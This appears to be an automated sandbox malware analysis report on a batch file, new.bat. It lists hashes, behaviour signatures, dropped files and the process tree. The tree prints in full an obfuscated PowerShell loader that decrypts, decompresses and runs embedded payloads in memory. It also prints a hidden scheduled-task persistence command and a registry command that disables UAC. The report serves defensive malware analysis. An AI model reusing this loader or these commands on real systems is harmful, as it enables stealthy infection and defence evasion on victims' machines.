Analysis

  • max time kernel
    96s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 10:43

General

  • Target

    new.bat

  • Size

    1.9MB

  • MD5

    236a30633019cf4b67db32def072c413

  • SHA1

    e6b3f1a0ee7d09f3fa1f99ae9e2e7714c027e82e

  • SHA256

    887a311306a54b0f98ef67a1dbf32734e2e92a3572b6f4300231eaee7f5ecb84

  • SHA512

    2eba2aa0126985c6ac16bea71db4d719ad3da5fad446facae2801bd5f5167d8881121a39d79e13162240a19821f09147eca315efd8409a8a2778e4b33a6d8e3e

  • SSDEEP

    24576:wxVq/CkT1yUMC2HFVn0+KynwyPXH8sMY4HU+MIQif3dOqKyPvaQaPjrjwVs6M3KL:w7gcjCOH8WmUKtdXUGjn

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3512
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:3024
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PefENtrEWn6/3Gb6BPDcI3rjn7pIfdMk59QqDe4xono='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E1wVFE5p/6sBikVLqwAjJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xtIOE=New-Object System.IO.MemoryStream(,$param_var); $FIKWC=New-Object System.IO.MemoryStream; $dJbPC=New-Object System.IO.Compression.GZipStream($xtIOE, [IO.Compression.CompressionMode]::Decompress); $dJbPC.CopyTo($FIKWC); $dJbPC.Dispose(); $xtIOE.Dispose(); $FIKWC.Dispose(); $FIKWC.ToArray();}function execute_function($param_var,$param2_var){ $wsCHa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TzOAT=$wsCHa.EntryPoint; $TzOAT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\new.bat';$bkxAZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\new.bat').Split([Environment]::NewLine);foreach ($fgUKd in $bkxAZ) { if ($fgUKd.StartsWith(':: ')) { $dXmqj=$fgUKd.Substring(3); break; }}$payloads_var=[string[]]$dXmqj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:512
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_221_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_221.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2724
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_221.vbs"
          3⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:688
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_221.bat" "
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\SysWOW64\net.exe
              net file
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3076
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3936
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PefENtrEWn6/3Gb6BPDcI3rjn7pIfdMk59QqDe4xono='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E1wVFE5p/6sBikVLqwAjJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xtIOE=New-Object System.IO.MemoryStream(,$param_var); $FIKWC=New-Object System.IO.MemoryStream; $dJbPC=New-Object System.IO.Compression.GZipStream($xtIOE, [IO.Compression.CompressionMode]::Decompress); $dJbPC.CopyTo($FIKWC); $dJbPC.Dispose(); $xtIOE.Dispose(); $FIKWC.Dispose(); $FIKWC.ToArray();}function execute_function($param_var,$param2_var){ $wsCHa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TzOAT=$wsCHa.EntryPoint; $TzOAT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_221.bat';$bkxAZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_221.bat').Split([Environment]::NewLine);foreach ($fgUKd in $bkxAZ) { if ($fgUKd.StartsWith(':: ')) { $dXmqj=$fgUKd.Substring(3); break; }}$payloads_var=[string[]]$dXmqj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
              5⤵
              • Adds policy Run key to start application
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1732
              • C:\Windows\SysWOW64\cmd.exe
                /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3500
                • C:\Windows\SysWOW64\reg.exe
                  C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                  7⤵
                  • UAC bypass
                  • System Location Discovery: System Language Discovery
                  • Modifies registry key
                  PID:1276
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2768

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      9751fcb3d8dc82d33d50eebe53abe314

      SHA1

      7a680212700a5d9f3ca67c81e0e243834387c20c

      SHA256

      ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

      SHA512

      54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      17KB

      MD5

      c64c7a3d01e92dd5e31be75c72f3b409

      SHA1

      1ffe2e78ac006e49475f7f1ce60ed0c0b603c1a2

      SHA256

      4f6e63576f05cf4c2578fa465b1bbb4b9725131126b50a18048b26c5f3eee1fe

      SHA512

      3e758773e7986166309fd42c952ee5fdaafc58ec63c6f1f559baef9ce6245bc915cfa3df7a155fb4e8f5c6a1e5f9856ae914bc0f3a0e759dc0c0ea109dd2451e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5f0ymxu3.uuf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\install.vbs

      Filesize

      564B

      MD5

      7b5b515f4b08420b67534d2b693a2c80

      SHA1

      b628f9f83a8f7cfe5dd75f69c33173826d7edd0b

      SHA256

      8f74abab218dda99f4778abc04c1106a4aa6a7d352894394299fb7265b5cad2e

      SHA512

      f8339c237d982d6c99dc42954b70f5750b88d96123f52afd35d14b4414fa1d6af192f7500483a340d7c1c747ac894c5f5bd61c3503c30e7e092c4fc900cc595b

    • C:\Users\Admin\AppData\Roaming\startup_str_221.bat

      Filesize

      1.9MB

      MD5

      236a30633019cf4b67db32def072c413

      SHA1

      e6b3f1a0ee7d09f3fa1f99ae9e2e7714c027e82e

      SHA256

      887a311306a54b0f98ef67a1dbf32734e2e92a3572b6f4300231eaee7f5ecb84

      SHA512

      2eba2aa0126985c6ac16bea71db4d719ad3da5fad446facae2801bd5f5167d8881121a39d79e13162240a19821f09147eca315efd8409a8a2778e4b33a6d8e3e

    • C:\Users\Admin\AppData\Roaming\startup_str_221.vbs

      Filesize

      115B

      MD5

      0c2ba0bf4f64fd4f613a1ebf9da5dfc9

      SHA1

      d9b92f1982d79d3fc7d2d2b046d3b78f3acacd50

      SHA256

      d696ad3ceaceb8d2df4e14f277db01d916262a0d31ee02cdfe2af72c8385fd17

      SHA512

      a7dfc485328670271ac2b6d1d0318bfa6167c6e3d2b90b6ab6041d14797d15e21b9ed8bbd3b4e33e332015669c31e905702f29de9184880ba47de11876be4c2e

    • memory/512-20-0x00000000090A0000-0x000000000971A000-memory.dmp

      Filesize

      6.5MB

    • memory/512-23-0x0000000008B30000-0x0000000008CD6000-memory.dmp

      Filesize

      1.6MB

    • memory/512-6-0x00000000060A0000-0x0000000006106000-memory.dmp

      Filesize

      408KB

    • memory/512-17-0x00000000062B0000-0x0000000006604000-memory.dmp

      Filesize

      3.3MB

    • memory/512-18-0x0000000006790000-0x00000000067AE000-memory.dmp

      Filesize

      120KB

    • memory/512-19-0x00000000067D0000-0x000000000681C000-memory.dmp

      Filesize

      304KB

    • memory/512-5-0x0000000005FF0000-0x0000000006012000-memory.dmp

      Filesize

      136KB

    • memory/512-21-0x0000000006D70000-0x0000000006D8A000-memory.dmp

      Filesize

      104KB

    • memory/512-22-0x0000000006BA0000-0x0000000006BA8000-memory.dmp

      Filesize

      32KB

    • memory/512-7-0x0000000006240000-0x00000000062A6000-memory.dmp

      Filesize

      408KB

    • memory/512-24-0x000000000ECD0000-0x000000000F274000-memory.dmp

      Filesize

      5.6MB

    • memory/512-4-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/512-0-0x000000007539E000-0x000000007539F000-memory.dmp

      Filesize

      4KB

    • memory/512-37-0x000000007539E000-0x000000007539F000-memory.dmp

      Filesize

      4KB

    • memory/512-39-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/512-80-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/512-3-0x0000000005990000-0x0000000005FB8000-memory.dmp

      Filesize

      6.2MB

    • memory/512-2-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/512-1-0x00000000032B0000-0x00000000032E6000-memory.dmp

      Filesize

      216KB

    • memory/2724-27-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2724-52-0x00000000077C0000-0x0000000007863000-memory.dmp

      Filesize

      652KB

    • memory/2724-54-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2724-55-0x0000000007960000-0x000000000796A000-memory.dmp

      Filesize

      40KB

    • memory/2724-56-0x0000000007B80000-0x0000000007C16000-memory.dmp

      Filesize

      600KB

    • memory/2724-57-0x0000000007AF0000-0x0000000007B01000-memory.dmp

      Filesize

      68KB

    • memory/2724-58-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2724-61-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2724-53-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2724-50-0x0000000007560000-0x000000000757E000-memory.dmp

      Filesize

      120KB

    • memory/2724-51-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2724-38-0x0000000007580000-0x00000000075B2000-memory.dmp

      Filesize

      200KB

    • memory/2724-40-0x00000000711B0000-0x00000000711FC000-memory.dmp

      Filesize

      304KB

    • memory/2724-26-0x0000000075390000-0x0000000075B40000-memory.dmp

      Filesize

      7.7MB